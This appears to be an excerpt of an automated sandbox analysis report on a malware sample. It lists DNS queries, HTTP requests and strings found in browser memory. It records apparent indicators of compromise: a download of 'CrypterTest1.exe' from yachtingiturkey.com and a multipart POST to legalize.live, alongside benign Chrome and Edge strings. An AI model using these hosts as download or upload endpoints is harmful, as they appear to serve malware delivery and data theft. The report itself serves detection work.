Source: global traffic	HTTP traffic detected: GET /b2?rn=1736968595850&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=370FFD26CB8D69B80FE6E853CA946810&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=131194da2a1242855bd247f1736968598; XID=131194da2a1242855bd247f1736968598
Source: global traffic	HTTP traffic detected: GET /CrypterTest1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: yachtingiturkey.comCache-Control: no-cache

Source: chrome.exe, 00000007.00000003.2180083423.00001B0C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180160884.00001B0C00EB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179803951.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000007.00000003.2180083423.00001B0C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180160884.00001B0C00EB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179803951.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/< equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Q equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: legalize.live
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: yachtingiturkey.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com

Source: unknown	DoH DNS queries detected: name: assets.msn.com
Source: unknown	DoH DNS queries detected: name: assets.msn.com
Source: unknown	DoH DNS queries detected: name: c.msn.com
Source: unknown	DoH DNS queries detected: name: c.msn.com
Source: unknown	DoH DNS queries detected: name: sb.scorecardresearch.com
Source: unknown	DoH DNS queries detected: name: sb.scorecardresearch.com
Source: unknown	DoH DNS queries detected: name: ntp.msn.com
Source: unknown	DoH DNS queries detected: name: ntp.msn.com
Source: unknown	DoH DNS queries detected: name: r.msftstatic.com
Source: unknown	DoH DNS queries detected: name: r.msftstatic.com
Source: unknown	DoH DNS queries detected: name: browser.events.data.msn.com
Source: unknown	DoH DNS queries detected: name: browser.events.data.msn.com
Source: unknown	DoH DNS queries detected: name: bzib.nelreports.net
Source: unknown	DoH DNS queries detected: name: bzib.nelreports.net
Source: unknown	DoH DNS queries detected: name: ntp.msn.com
Source: unknown	DoH DNS queries detected: name: ntp.msn.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ycjwbimo8yukn79hlnglUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: legalize.liveContent-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	String found in binary or memory: http://.css
Source: us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	String found in binary or memory: http://.jpg
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2338388285.000079D40258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
